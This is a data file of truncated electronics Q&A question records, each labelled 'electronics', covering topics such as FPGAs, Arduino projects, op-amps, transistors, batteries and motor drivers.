s_n-1 \$ for the circuit as shown below: But, for a 4-bit Carry Look Ahead ... ",['electronics'] "Title: How do I decide the bandwidth of a driver through 'input transition rise and fall rate'? Body: I am carrying out a design with a driver:74LVC1G125 datasheet of 74LVC1G125. Signal that will go through this driver is about 600khz so I have to know the bandwaidth of 74LVC1G125. I have read the ... ",['electronics'] "Title: Why are multipliers 18x18 Bit in FPGAs? Body: I'm looking at different FPGAs for my dissertation project and I keep seeing that the multiplier blocks are 18x18 bit, why is this? Why are they not 16-bit? ",['electronics'] "Title: Using the Arduino SDK with any AVR? Body: If I grab any Atmel AVR-based microcontroller off the shelf, will I be able to write code for it using the Arduino SDK? ",['electronics'] "Title: Fastest way to toggle a bit in ASM Body: What's the fastest way to toggle a bit1 in MPASM for the 14-bit enhanced instruction set? (I'm working with a PIC16F1829) The code has to be standalone - I mean that it can be called on any moment, ... ",['electronics'] "Title: VCO - sawtooth and duty cycle? Body: I've successfully built a VCO using an LM13700 OTA. The circuit generates square and triangle wave. I wonder if I can add a couple of diodes and a potentiometer to be able to skew between ... ",['electronics'] "Title: How do i decide resitance of a DC solenoid valve? Body: I am designing a circuit for a solenoid valve from BIO-CHEM.SOLENOID VALVE.My product number is 075P2N024-02SQ. I want to know the resistance of valve in order to decide how big a resistance i should ... ",['electronics'] "Title: Simulating PID controller in Matlab Body: I am trying to explore PID control with a simulation. My problem is that the derivative term does not behave as expected in my simulation: No matter how large its coefficient it seems unable to ... ",['electronics'] "Title: Help explaining “reactive power” video: lights do not use any power? [closed] Body: In the following video the poster wonders whether his lights, which do not seem to consume any power are running on ""reactive power"": http://www.youtube.com/watch?v=UbKr7aYKSPU Is the poster of the ... ",['electronics'] "Title: Concept of “resistance” and “power dissipation” in a transistor - Explanation? Body: Ok, so I've got way more experience with mosfets than BJTs. I'd become very accustomed to the idea of mosfets having a specific 'on' resistance, which would allow me to calculate actual heat ... ",['electronics'] "Title: short circuit with two power supplies Body: I have a radio controlled power switch (one that you plug in between the wall and a lamp to switch it on and off with a remote), that has an atmel microcontroller on it. I connected the radio switch ... ",['electronics'] "Title: Storage in embedded linux Body: I am basically from a background of small microcontrollers(arm7,cortex-m series). As I started working with a cortex a8 board(beagleboard xm), I always wonder how to store applications in flash/ram ... ",['electronics'] "Title: Gyroscope questions: building a stable platform Body: I'm embarking on a summer project and have a few questions. I'm planning to build a 3-axis stable platform for electronics. (Picture a flat surface that stays parallel with respect to the ground while ... ",['electronics'] "Title: How to realize this transfer function with OP-AMPs? Body: This is a homework question. I know that: Given a transfer function of \$H(s)\$ below, we can realize it with an OP-AMP as follows. ... ",['electronics'] "Title: common mode choke inductance question Body: In a common mode choke, my understanding is that common mode currents will produce fluxes that add together, which increases the effective inductance between them and so attenuating these currents. ... ",['electronics'] "Title: Measuring power consumption / current of an Arduino using a multitester Body: What is the correct way to measure the power consumption and / or current draw of an Arduino using a multitester? ",['electronics'] "Title: Stable voltage and current source Body: I want to build a simple and stable constant voltage source (voltage regulator) and current source. I built one using a LM317 but the output is not stable, it varies when temperature changes. Do you ... ",['electronics'] "Title: ATtiny85, ARduino IDE, TinyDebug: Error sending int values Body: The setup: An ATtiny85 is programmed using the Arduino IDE, it is supposed to read the ambient light from an LDR and turn on/off an LED accordingly. To get a better understanding of what my sensor ... ",['electronics'] "Title: How to correctly use a few 28BYJ-48 with ULN2003A and one Arduino Mega? Body: I bought 28BYJ-48 5 Volt stepper motor with ULN2003A Darlington Array driver. I run basic Arduino examples and some code from web. But how do I use a few motors with one Arduino? It has very small ... ",['electronics'] "Title: Eagle part for “MiniLED” SMT LED Body: I'd like to use this LED, but its package is just listed as 'MiniLED' in the datasheet. Is that a standard package, or just a Vishay term? Is there an equivalent part already in Eagle 6? If not, ... ",['electronics'] "Title: Likely places to look to find cheap sources of FPGA? Which devices should I open first? Body: I have a large group of new and old devices and I would like to find a FPGA to start poking around on. What products or types will be likely to have FPGAs in them? I recently asked this question on ... ",['electronics'] "Title: Precision Tracking filter required Body: I don't mind if it's a band-pass or low pass filter (although I think low-pass will give a better result). Input operating frequency range is 100Hz to 1kHz. Input amplitude will be about 1Vp-p and ... ",['electronics'] "Title: FPGA Board : Indirect SPI not working Body: I was able to make my own custom FPGA shield for an ARM Cortex M3 board (arduino footprint ofcourse!). I used the PapilioOne as reference for basic board design. There is no FT2232 on the board. I ... ",['electronics'] "Title: What is the easiest way to make a stepper motor go? Body: What is the easiest/ cheapest way to make that motor move like a dc hobby motor would when connected to a battery? Speed doesn't matter. I just want it to infinitely rotate. ",['electronics'] "Title: Picking a bluetooth module Body: I've recently acquired a lpc1313fbd48 microcontroller and I was looking around on newark.com for a bluetooth module that I could use to connect my microcontroller with my phone. I then began to if ... ",['electronics'] "Title: TLC 5952 Blank pin control Body: Can BLANK pin of TLC5952 device be permanently connected to ground or does it need to be toggled (once at the startup or each cycle...)? ",['electronics'] "Title: Is it ok to power several op amps with the same pair of 9V cells? Body: I'm experimenting for the first time in the wonderful world of operational amplifiers. I'm processing signals in various ways - amplify, envelope detection, voltage differences, voltage-to-current, ... ",['electronics'] "Title: Modulation that is used in WiMAX [closed] Body: Which modulation is used in WiMAX? And how does it work? I found QAM-64 but I'm not sure about that. ",['electronics'] "Title: raspberry pi + USB Hub [duplicate] Body: I bought a cheap USB Hub Powered to connect my Raspberry Pi and two External Seagate HD (USB 2.0/3.0), but obviously that 400 mA is not enough for all this things. So, I want to buy a new AC Adpater ... ",['electronics'] "Title: What does the RNF pin do on an H-bridge? Body: The H-bridge in question is a BD6212FP. Pins 7 and 8 are marked ""RNF"". Below is a link to the datasheet. http://www.farnell.com/datasheets/46169.pdf ",['electronics'] "Title: Topology of solar PWM charger Body: I am looking into the design of the most simple (yet functional) PWM solar chargers for lead acid batteries. (Numerous examples can be found on Ebay for about 10 bucks.) I have a hunch that they ... ",['electronics'] "Title: Do solder-mount screws exist? Body: I have a small circuit board that has no mounting holes but does provide unpopulated test point pads. Is there any option for machine screws or standoffs that I could solder into these for mounting ... ",['electronics'] "Title: NPN BJT in saturation, base voltage irrelevant? Body: I'm trying to build as simple a circuit as possible that will pull a logic line low every time an automotive ignition coil 'fires'. My first inclination is to simply attach the 'negative' terminal of ... ",['electronics'] "Title: FPGA Logic Gate Count Body: I found an FPGA board that I liked. It uses a Xilinx Spartan 6 LX45. When I went to the datasheet for the Spartan 6 series, it only said that there were 43,661 logic cells. How many gates does that ... ",['electronics'] "Title: How do I control a seven segment display with a shift register and an Arduino? Body: I recently purchased 4 seven segment displays from sure electronics. They came with their own shift register board which combines the 74HC595 IC with the ULN2003. I want to be able to tie into this ... ",['electronics'] "Title: What are the factors that significantly affect the life span of a DC motor? Body: I'm currently planning to run a DC motor continuously on solar power. So I would like to know which things I should be very careful about for optimum lifespan of the motor. I found the following two, ... ",['electronics'] "Title: I want to connect an HDMI mini out (on my tablet) to a VGA input in a 'smart room' that I teach in-how? [closed] Body: I want to connect my Asus tablet mimi HDMI to a VGA in a 'smart room' that I teach in. Can I do this so I can show art work, play you tube videos, and recorded music and PDF's on the big screen in the ... ",['electronics'] "Title: Heatsink earthing? Body: I'm currently working on my first circuit that dissipates enough power that I need to use a heatsink. The component in question is a TS1085CZ33 which I'm running with a maximum load of 2.8A ... ",['electronics'] "Title: Can we measure reflected power in a transmission line? Body: This is a question related to radio transmission, I hope this is the proper forum to ask it. It relates to transmission lines connecting a radio transmitter to its antenna. In his book ""Reflections"", ... ",['electronics'] "Title: Circuits using generators and cells and capacitors [closed] Body: This question was in a science worksheet we had, the description read as follows: Tim has designed a generator that uses wind power and provides 9V. He decides to design a circuit using diodes ... ",['electronics'] "Title: Atmel Software Framework. Confusion with USART example Body: I'm trying to get the following basic USART example working on a SAM4S: http://asf.atmel.com/docs/3.4.1/sam4s/html/sam_usart_quickstart.html#usart_basic_use_case I am using a custom PCB board with a ... ",['electronics'] "Title: AC DC Analysis of diode Body: in the following circuit: Im looking to find what \$v_D(t)\$ is given \$V_γ = 0.7 V\$ and \$r_f = 0\$. Now when doing the DC analysis, find that \$VDQ = 0.7 V.\$ But im having trouble finding ... ",['electronics'] "Title: Analysis of Shunt Circuit Body: I am having trouble computing the closed loop gain of the circuit below: It seems clear that this configuration is a Shunt Voltage but I just can't figure a way of computing the feedback factor and ... ",['electronics'] "Title: Built-in voltage [duplicate] Body: Hello all I have work on the following question and just wondering if you all could check to see if i did it correctly. The built-in voltage of a GaAs pn junction diode is 1.25 V when the diode's ... ",['electronics'] "Title: Relay takes time to close Body: I am trying to control a relay from an Arduino compatible board. When I try to activate the relay from the Arduino it takes at least a second to switch closed and sometimes does not switch closed at ... ",['electronics'] "Title: Pump control - Uni or Bi polar stepper motor Body: I am working on a robot that includes several annular gear pumps. We are using the MZR 2521, manual: (please see section 5.5) http://www.micropump.com/support_documents/manual_mzr-xx21.pdf product ... ",['electronics'] "Title: Average Household Power Usage - Distribution Spread Body: I'm trying to compare energy savings of solid state electric meters over older style electromechanical meters and am trying to find information on how long the average US household spends at each ... ",['electronics'] "Title: Safely extract power from USB Body: I am upgrading the lighting in a model with simple circuit which has 17 LEDs (approximately) plus one or two 555 timers. Presently, everything is powered by 3 AAA batteries. It drains between 150 and ... ",['electronics'] "Title: Are chopper amplifiers same as chopper stabilized Amplifiers? Body: I was wondering if the chopper amplifiers are same as chopper stabilized amplifiers. If no, can you explain what is the difference? ",['electronics'] "Title: Two 6v batteries in series charged by two separate solar panels Body: I have two solar panels - first 30 watt 2 amps second 40 watts 2.3 amps, and two 6v deep cycle batteries in series on my RV. My question is: can I simply use two separate charge controllers (max 7 ... ",['electronics'] "Title: Ceramic vs. Film Capacitor: Which one is preferred in audio circuits? Body: I'm considering building an amplifier following instructions from a MAKE magazine article. However, as I was reading the circuit schematic, I noticed that the author denotes that the capacitors C101, ... ",['electronics'] "Title: Doping concentration in anode region Body: I'm stuck with this doping problem and can't figure out where to go with it. The built-in voltage of a GaAs pn junction diode is 1.25 V when the diode's temperature is T = 320K. The cathode ... ",['electronics'] "Title: how to force coordinator do not listen its broadcast message Body: I have a xbee coordinator. I have broadcast message to the other xbees but coordiator gets its message and sends acknowledges to itself. How can I stop xbee coordinator which is configured as ... ",['electronics'] "Title: Arduino building a pulse proportional thermostat Body: I'm not much of an engineer, but I have worked with arduino. I'm looking to see if it's possible to build a pulse proportional thermostat with a probe and an arduino. Any recommendations on where to ... ",['electronics'] "Title: Alternatives to an RFID reader [closed] Body: For my Engineering project this semester, I proposed a luggage tagging system using integrated RFID. I know you're all thinking yes this has been done, but for my final presentation I'm looking for a ... ",['electronics'] "Title: 32 bit, 4 way multiplexer Body: I'm relatively new to electronics and recently decided to design and build a very simple CPU as a personal project. My instruction size is 32 bits and I want to have 32 bit registers so I am going to ... ",['electronics'] "Title: Basic Electronics - I want to learn the “why”, not just the “how” [closed] Body: I have been looking for a very basic book on electronics, but many of them explain what the components do (and how they are made) and then go into designing circuits that do stuff. They tell you to ... ",['electronics'] "Title: Reducing LED PWM Noise: Which is the best option? Body: Driving an LED with a microcontroller should be easy. But when looking into noise, things can get complex... As an instantaneous voltage indicator used in a variable power supply (which will be used ... ",['electronics'] "Title: Piano keys touching detection Body: I would like to make glove with pressure sensor on each finger to detect a moment when piano player touches a key. What kind of sensor should I use? I tried use simple buttons, but it is very ... ",['electronics'] "Title: How did handheld video games from the 70's and 80's work? Body: I'm curious about how the early handheld video games from the 70's and 80's worked. You know, those small games with a LCD display with ""fixed elements"" meaning it was hard wired for one (or a small ... ",['electronics'] "Title: How to calculate battery capacity required for home applications? Body: The issue I'm facing is calculating current draw from different household items. Like, if a fan is rated at 75 Watts, its current draw would be A = W/V so A = 75/220 and A = .34 amperes. That doesn't ... ",['electronics'] "Title: What's the difference between delayed branch and branch prediction? Body: I'm studying how delayed branch works and I'm trying to distinguish delayed branch from branch prediction. What is the difference? Is delayed branch a means to facilitate a control hazard? ",['electronics'] "Title: What does DAC resolution mean? Body: I am reading the specs of a DAC (this one), and it says the resolution is 10 bit. Does it mean it can generate 1024 voltage levels at the sample rate which is 12 GSa/s? It sounds pretty surreal. Can ... ",['electronics'] "Title: Control old printer motor with position ring Body: I purchased two old printers at a garage sale today in hopes of dismantling them and playing around with some stepper motors. After tearing both of them apart I discovered that there are no stepper ... ",['electronics'] "Title: Two questions, caps again Body: If I discharged my caps on thick bronze rails connected to the caps by copper wires and nothing else, would that be dangerous? I'd like to safely discharge the caps as fast as possible for the ... ",['electronics'] "Title: usb example project Qt Body: Hi I am using Qt on my beagleboard xm and I am trying to find usb examples to start with. I m not able to find many. Could anyone show me some examples? ",['electronics'] "Title: Switch transistor with a low voltage and current Body: I'm designing a circuit that will use a combination of switches and resistors to allow a microcontroller to identify which switch was pressed based on the voltage read and perform a switch-specific ... ",['electronics'] "Title: Vinyl player emulation on Arduino Body: Say, you have an arduino uno + audio shield, a speaker and a jog-wheel (or mouse scroll-wheel). And you want to play some audio-file tied to the movement of the wheel, just like you move vinyl disc. ... ",['electronics'] "Title: Faster IO on ARM Cortex-M3 (Sam3x8e) than PIO_SODR and PIO_CODR? Body: I have a very simple C program that toggles a pin on a Cortex-M3 board (SAM3X8E) with a 84MHz clock speed. I built this using Atmel Studio 6.1. ... ",['electronics'] "Title: what is the gain of this amplifier at resonance frequency? Body: I want to analyze this circuit but I do not know how to compute its gain at the resonance frequency. In lab its gain at resonance frequency (910kHz) was 54. ",['electronics'] "Title: How to calibrate an optical particle sensor (Mie scattering) Body: I have a very simple sensor that basically emits infrared light (1 micron wavelength in the infrared range). The light scatters off particles whose diameter is of the same order of magnitude as the ... ",['electronics'] "Title: How does this circuit diagram work? Body: I don't understand this circuit diagram here, but I'm sure that you can help me out. I'll explain what I have figured out so far. EDIT: It's a metronome circuit. Sorry for being unclear about that. ... ",['electronics'] "Title: Non-clock signals routed into the clock tree Body: In my synthesis report, I see that several signals internal to the microblaze have been routed onto the clock tree. ... ",['electronics'] "Title: Custom USB Impedance question Body: I'm looking at making my own USB cable for a project. The primary issue I'm having is that I'm getting a lot of capacitance in my cable between D+ and D- (400ish pF) which is enough to throw off the ... ",['electronics'] "Title: Reason for certain steps in Circuit Analysis Body: The image is from this lecture.The instructor Prof. Shanthi Pavan says that the part encircled in orange can be replaced by a voltage source with current through \$v_1\$ as \$i_1\$ and not \$i_1 + ... ",['electronics'] "Title: Providing DC power with failover DIY for IP camera Body: I'm building a simple battery backup box for a 5V IP camera. I've got a few options for battery, sealed lead battery or a mix of portable LIPO style ""USB"" power bricks. I've seen boards built for ... ",['electronics'] "Title: should I use 2 SPI devices on Arduino UNO/PRO or 2 I2C devices? Body: I am using a microSD breakout board and the accelerometer ADXL345 https://www.sparkfun.com/products/9836. each one alone works perfectly fine, but once I put both (sharing pins 11,12,13, but with ... ",['electronics'] "Title: What do I need to know about leakage current? Body: I recently suggested a plan of removing one end of a resistor from a breadboard to remove it from the circuit in order to measure its resistance, but my mentor suggested that this won't work for high ... ",['electronics'] "Title: Compliance question Body: Q. You have +5 and +15 volt regulated supplies available in a circuit. Design a 5mA npn circuit source(sink) using the +5 volts on the base. What is the output compliance? This is what I've done: ... ",['electronics'] "Title: Should one use resistors to protect an mbed when using it to simulate keyboard key presses Body: One can use mbed to act as USB Host or as a USB Device. One use of the latter is to have it emulate a USB Keyboard by sending normal key presses. The general page on using mbed as a USB Device is in ... ",['electronics'] "Title: How good is coaxial cable? Body: My question relates to the accumulated AC voltage that will appear on the screen of a length of coax: If the cable is properly terminated at one end and fed with data (or any signal) at the other ... ",['electronics'] "Title: How to escape redundant stated when using J-K Flip Flops? Body: I've designed a counter using three J-K flip flops, but I have two redundant states. How can I ensure that the system has a way to escape these states if they occur? I've tried searching for help on ... ",['electronics'] "Title: Analysing Signal quality through pogo pins using Hyperlynx Body: I have successfully modeled Linesim and boardsim schematics for quite a few designs in the past and we have been able to do the required SI simulations. I had one question though: On one of our ... ",['electronics'] "Title: Cortex M3 (ATSAM3N4B) Peripheral DMA read from SRAM ok, FLASH fails Body: I've stumbled across a peculiar problem with my PDC (Peripheral DMA Controller) where using the PDC to transfer a constant string from flash over UART 0 seems to produce an unexpected result. The ... ",['electronics'] "Title: Bipolar Op Amp w/ Near Zero Offset? Body: My understanding is that if source resistance is low, a bipolar op amp has 10dB less noise than a JFET. I prefer the JFET op amps because the input offset is so low that you can eliminate coupling ... ",['electronics'] "Title: Capacitors and capacitance Body: this time I'd like to ask a few questions about capacitors, all noob questions again; What's a better idea, having one capacitor at 5x farads or five capacitors at x farads each? I want to get a ... ",['electronics'] "Title: Circuit that switches one led ore all three Body: For an analog photo enlarger (yep, that vintage stuff) I own, I would like to build my own lightsource. For the prototype I found 3 colored super bright led panels they use 12V The problem is that ... ",['electronics'] "Title: Reducing noise in an audio amplifer using opamp Body: I am trying to make an audio amplfier using an opamp for a project. It works kind of okay but the only issue is there seems to be a lot of noise in the output of a 0.5 watt speaker. I have tried ... ",['electronics'] "Title: Clocking scheme for LAN8720A - Cortex M4 Body: This is regarding a design choice involving LAN8720, specific to clocking schemes. We are interfacing an ARM cortex M4 (with inbuilt MAC) to the 8720 PHY via RMII in the REFCLKO configuration. In the ... ",['electronics'] "Title: What happens when the current fed to a device is higher than the specified value? [duplicate] Body: I have a solar panel which provides the output of up to 500mA with 6v potential difference. .5A is the maximum current output, and the usual output will be around 300-350mA. Can I use it as a power ... ",['electronics'] "Title: How exactly do all FPGAs work together on this board to carry out high speed calculations Body: The board I am referring to is called ""Merrick 3"" from ""Enterpoint (ltd)"". The web page can be found here: http://enterpoint.co.uk/products/asic-development-high-performance-computing/merrick-3/ I ... ",['electronics'] "Title: AC Circuit Analysis (Determining the vectors) Help! Body: INTRODUCTION: I'm having a rough time completing this problem. I've arrived at what I believe are the answers but I have no way of being sure if their right. I tried to plug this circuit into my ... ",['electronics'] "Title: Why does an Oscillator produce sine waves? Body: By the definition of Oscillator: 'An Electronic circuit that produces a repetitive, oscillating electronic signal, often a sine wave or a square wave' I'm familiar with RC Phase Shift Oscillator and ... ",['electronics'] "Title: PIC16: Out of Data Space - Make use all available banks Body: I'm using a Microchip PIC16F1825 with the XC8 (v1.12) compiler and defining some arrays (size between 16 and 64 bytes). I was able to declare them (linker output below). However, as soon as I try to ... ",['electronics'] "Title: Tradeoffs between QPSK and BPSK re. spectral efficiency, error rate, etc Body: Say I'm using binary phase-shift keying (BPSK) to transmit some data at some rate. Now say that I want to double the data rate, without increasing my transmitter power. I could either continue to use ... ",['electronics'] "Title: Least noisy pre-amplifier design Body: I am building a frequency generator circuit and need some advice. I am using the AD9833 DDS generator (programmed from a PIC16F876) to generate frequencies and I wish to be able to adjust the gain. ... ",['electronics'] "Title: PIC32 PWM minimal example Body: I am having trouble getting a simple PWM output to work at all on a PIC32MX775F512H. Looking online, this seems to be all I need to get something working: ... ",['electronics'] "Title: Is it important to have common ground between you microcontoller and high-power devices on the same PCB? Body: I noticed that there are more N-channel mostfets than P-channel mosfets on the market. Then I realised that probably in many applications, the high powered device runs on a higher voltage and ... ",['electronics'] "Title: Minimum tolerable signal to noise ratio in modern communication systems Body: What is the minimum tolerable SNR in today's (digital) communication systems for successful recovery of the message? I've heard that regular commercial systems can recover the message with a SNR as ... ",['electronics'] "Title: What is this relay symbol? Body: I have never seen a relay depicted as below: from here (pdf) Can someone explain what is going on for terminals 6, 7, and 8? ",['electronics'] "Title: LM13700 VCA circuit Body: I'm trying to build a VCA from the LM137000's datasheet. The original circuit is with +-15V while I only have a 9V supply. I wonder how the resistor values should be changed so the OTA works with 9V ... ",['electronics'] "Title: Current sense magnetics with critical/boundary conduction PFC chips Body: I was thinking of using a critical/boundary conduction PFC controller in a boost PFC. I'm not sure how convenient it is to find an inductor with an auxiliary winding. I can find lots of choke type ... ",['electronics'] "Title: subtract two AC voltages with instrumentation amps Body: I'm implementing the so-called ""3 omega technique"", where a thin metal line is excited with a sine current. The metal has a high TCR which causes a 3rd harmonic oscillation, and I need to measure the ... ",['electronics'] "Title: calculating resistance for LED strips to use as parking lamps and turn signals Body: I'm installing LED strips in my car's tail lamps to convert it from conventional bulbs to LEDs. I have a understanding of what I'm doing but not the complete knowledge to make the circuit work ... ",['electronics'] "Title: How much current draw will a dc-dc converter have in this situation? Body: I am trying to make a mobile computer for my Raspberry Pi. The problem here, is powering the Pi, screen AND the USB hub from the same power source. I have bought this: ... ",['electronics'] "Title: Boosting a Lithium Coin Cell Body: I made a board recently and just started checking it out yesterday. I used a typical lithium coin cell and a boost converter (Microchip MCP1640). With a battery plugged in I get no voltage out of the ... ",['electronics'] "Title: IGBT's Ic (peak current): why always 2 times of Ic Body: I would like to know: 1) Why, almost on every IGBT datasheet that \$I_{cm}\$ (maximum peak current) is 2 times \$I_c\$? - for example see datasheet How, can I measure this \$I_{cm}\$, to verify that ... ",['electronics'] "Title: Redefining Slave-Reset-Pin in MegaISP on ATmega2560 Body: I want to make a Arduino ISP-Shield universal exchangeable between Arduino models. For this purpose I want to use the ISP-Header in combination with Pin 10 (like the Arduino Ethernet-Shield does). The ... ",['electronics'] "Title: Most compatible Bluetooth modem to use with Arduino Uno R3? Body: I'm looking for a Bluetooth modem that can be connected with the Arduino Uno R3, and communicate with Android mobile device. I found one modem (the BlueSMiRF RP-SMA) but it was to expensive, and it ... ",['electronics'] "Title: Time Division Multiplexing question [closed] Body: I am new to the concept of Time Division Multiplexing in school, after reading a few books I came over this question. With the help of sketches explain Time Division Multiplexing (TDM) in terms of ... ",['electronics'] "Title: Automotive Relays - What is the actual difference? Body: Or maybe my question should be 'do I really need one?' I have a circuit where I am driving an SPDT relay with a PIC (and transistor). The relay is switching 12V and ~150 mA (it is switching the ... ",['electronics'] "Title: Basic question on CRO usage Body: I have to measure signals using oscilloscope on all the four lines in following circuit. J1, and j5 are headers given by the manufacturer on the board (MACHX02 1200-ZE). I connected ground lead of the ... ",['electronics'] "Title: Oscillocope interleave mode and repetitive mode Body: Could someone tell me what interleave mode and repetitive mode are in oscilloscope? References would be good too. ",['electronics'] "Title: 7-segment display in VHDL? Body: So I'm currently writing VHDL code for a 7-segment display that will display (0-F) once each second. I have almost everything done, the only thing I'm stuck on is the controller. I need to have 4 ... ",['electronics'] "Title: Does anyone remember this article about the Euclidean Algorithm? Body: In the 70's I had a stack of old Amateur Radio magazines (50s-60s), and for a long time I saved an article about using the Euclidian Algorithm to combine a number of resistors to achieve a specific ... ",['electronics'] "Title: Easy resource to learn solving counter problems? Body: Could anybody please point me some direction on where I can learn to solve simple counter problems like counting in a given sequence using a given flip-flop? For example: Create a counter counting ... ",['electronics'] "Title: Reading/writing garbage when programming AD45DB161D EEPROM (SPI) using Arduino Body: I'm trying to program the AD45DB161D. I found two libraries and Arduino example code both aren't functioning as expected. I suspect it's hardware problem. When reading the data and dumping it to the ... ",['electronics'] "Title: Building a small D cell battery charger? Body: I am looking to buy/build my own D cell Nimh battery charger with the following requirements: -dual prong AC wall input -charges Nimh D Cell -is safe -contained within 1"" x 1.7"" x 2.2"" enclosure As ... ",['electronics'] "Title: Transistor Toggle Not Working Body: I'm trying to learn about how transistors work. As a simple test I created the following circuit: My idea is that when the second transistor will keep the first one active after I click the button ... ",['electronics'] "Title: Creating an LED array light box Body: I'm wanting to make a light box of sorts from LEDs and wanted to run it by you to confirm I have the right idea... I have ordered 500 super bright LEDs off eBay and want to wire loads of them ... ",['electronics'] "Title: Surface Mount vs. PTH Components For Production Body: I'm a hobbyist who has developed a product which uses ~20 PTH components. The device is essentially an Arduino UNO with some extra driver ICs and LEDs. I have had quite a lot of positive feedback on ... ",['electronics'] "Title: Reason for having a resistor at gate of MOSFET Body: If the gate current i_G=0 then what is the point in adding the resistor R1? Here is the circuit diagram: ",['electronics'] "Title: IAR errors about extern and global vriables Body: I want to get values of a global array in a c file. the print screen of code is shown below: 'data' is the global array and 'slave_buffer_rx' is another global array defined in this file to get ... ",['electronics'] "Title: Strange behavior from variable-gain amplifier Body: Sorry, this might not go anywhere. My first SE question, though, on any site. I've built at least three distinct audio amplifiers with the TDA7056B, which is a really great amp. It takes a voltage ... ",['electronics'] "Title: The Conjugate Match Body: I've been deriving transmission line theory from scratch, out of curiosity, and I'm a bit hung up on one seemingly insignificant point. When determining the real power drop on a reactive load with a ... ",['electronics'] "Title: Faulty RS-485 device has irregular effect on neighboring devices in bus setup Body: I am trying to understand the mystery of how one faulty RS-485 transceiver, in a network bus with several devices, seems to have very irregular influence on its own and its neighbors transmission ... ",['electronics'] "Title: Msp430 I2C Single Byte Read Write Body: I have this code I've been working on that connects an ITG-3200 gyroscope slave and MSP430G2553 master via I2C bus. It was working fine yesterday but somehow today it is not working. I tried to debug ... ",['electronics'] "Title: Controlling LED with 300mV AC signal Body: I would like to control an LED with audio signal, but the problem is, that output signal is only 150mVpp (with 150mVpp positive offset). In my understanding, it needs to be higher than 0.6V to get the ... ",['electronics'] "Title: Trigger Monostable 555 When Capacitor Raises above 0.5 Volts Body: So I want to trigger a monostable 555 to fire when a capacitor raises above 0.5 volts. My plan was to use a Zener diode to bias an NPN transistor that would trigger the 555. But I discovered the ... ",['electronics'] "Title: Does suface area effect thermal coupling design? Body: I am building my own thermal couplings for a experiment I am doing at home. I want to build a very small thermal generator with them. At each contact point does the amount of surface area involved in ... ",['electronics'] "Title: 16 x 2 LCD not displaying analog inputs fed to ATmega168 Body: I am experiencing some problems getting a display of analog inputs(current and voltage) fed to ATmega168's A0 and A1 respectively. I believe the wiring and the program are correct since the same ... ",['electronics'] "Title: How to measure the VA rating of a step down transformer Body: I have an uncased, unlabeled step-down transformer which converts 240 UK voltage to 112v (I have measured this with a meter). It weighs 1.5kg, is 10 x 8 x 10.5cms including the attached 2-pin US ... ",['electronics'] "Title: how do MOSFETS work Body: I understand how to use MOSFET's and build some simple circuits. What is going on inside at the atomic level where I can't see physically? I understand that BJT's work by doping semiconductors and ... ",['electronics'] "Title: Manual SPI interface on Raspberry PI Body: I am trying to control a MCP4131 digital pot from my Raspberry Pi using the library here Using the GPIO pins, I am ""emulating"" an SPI interface. I bring the ChipSelect pin to low, write my byte, ... ",['electronics'] "Title: 1-pole and 2-pole DC circuit breaker Body: My question is rather simple, when and why do one use a 1-pole or 2-pole circuit breaker in DC (+24VDC and GND)? ",['electronics'] "Title: how to represent a bridge in eagle pcb schematics? Body: i'm trying to show that points 7,8,10,11 are connected to ground and point 9 is connected to R18 resistor. but the visuals is misleading. how to create that ""jump"" (sorry i don't know the correct ... ",['electronics'] "Title: Why Characteristic Impedance must be “50” ohms? Body: Where does this number came from? For single ended it must be 50 ohm and for differential pairs 100 ohm. Why? For PCB with controlled-impedance these are that common numbers. Outside of the PCB you ... ",['electronics'] "Title: What is the meaning of “Register.Rd”? Body: Reading Hennesy's book ""Computer Organization and Design"" it is mentioned ""Register.Rd"" and ""Register.Rs"" but what does it mean? The .Rd, .Rt and .Rs parts I can't understand, on page 365: ",['electronics'] "Title: How to create a noise budget and what to do with it afterwards? Body: While reading some questions/answers on this site, I came across this answer from Scott Siedman and I found it interesting. So, work out your noise budget, figure out how many bits you need, and ... ",['electronics'] "Title: Oscilloscope ground clips sparks while connecting to power supply Body: Oscilloscope ground clips sparks while connecting to power supply ground. I do understand The clip is connected to earth ground. But why does it not spark when I am powering a circuit of the supply? ",['electronics'] "Title: ratiometric ADC, is it feasible to separate reference voltage and excitation voltage by an amplifier Body: I have a variety of bridge transducers (pressure, strain gage) with sensitivity of 1mV/V. Also, most 24-bit ADCs and analog frontend chips have a PGA with programmable gain between 1-128. This means ... ",['electronics'] "Title: How many D cell batteries would you need to replace a 6V 4.5Ah battery? [closed] Body: How many D cell, 8000 mAh -1.5 V batteries would you need to replace a 6V 4.5Ah battery? I'm trying to make a power comparison and not physically make the replacement. Would you suggest a different ... ",['electronics'] "Title: Understanding a high voltage generator circuit Body: I found a thread in the forum about a high voltage power supply 3V to 500V DC converter and someone suggested a circuit from techlib H.V. generator for Geiger tubes: However,when I tried to ... ",['electronics'] "Title: SPI interfacing between FTDI and Lattice FPGA Body: I am trying to establish SPI interface between FTDI FT2232H and Lattice MachX02-1200ZE. The following code for this purpose compiles successfully and the last SPI_ReadHiSpeedDevice() function returns ... ",['electronics'] "Title: Peak voltage rating means voltage drop? Body: This LDR is said to have Peak voltage rating of 400V in the description. Does this equal the voltage drop, meaning that I need to supply at least 400V or is it the maximum voltage value? ",['electronics'] "Title: L298N shield gives relatively low ouput voltage and current Body: I am using a L298N shield together with an Arduino to drive a 42mm 2 phases bipolar stepper motor. The driving voltage for the motor is 12V and the logic voltage for Arduino and the L298N shield is ... ",['electronics'] "Title: In circuit 2S Lithium Charging Body: I'm designing a board with a micro that controls a hobby servo. The circuit is usually powered from 12VDC but may be disconnected at any point, thus we have 2 lithium cells in series providing ~7.4V ... ",['electronics'] "Title: 555 Schmitt Trigger works well with CMOS LMC but not NE555? Body: I have an NE555 (the non-CMOS version) running in astable mode at 118Khz. I have the output pin3 connected to input for a second 555 running as a Schmitt Trigger to invert the signal. What I found is ... ",['electronics'] "Title: Circuit version of a simple if else program Body: I have written a simple program that controls two motors (outputs) each with two states ( positive, negative) with an Arduino. The motors states based on the status of four buttons (inputs) (Up, Down, ... ",['electronics'] "Title: Using STL with ARM microcontrollers Body: I have an NXP LPC1769 which features an ARM Cortex M3. I understand how to program it and have had success building both C and C++ programs for it. I have some code that I want to port from Windows. ... ",['electronics'] "Title: Limit the current being absorbed by a battery Body: I have a generator that supplies a constant DC 10A current to a NiMH battery pack with 240 cells in series (nominal voltage of DC 288V). This current is too high for any cell once it has reached 100% ... ",['electronics'] "Title: Would a capacitor labeled 470K be 47pf or 470pf Body: I have a cap labeled 470K. I would have thought for sure that it would be 47pf until I saw this link where it said if a capacitor has a 0 as the last digit, it is the whole thing in nano-farads. How ... 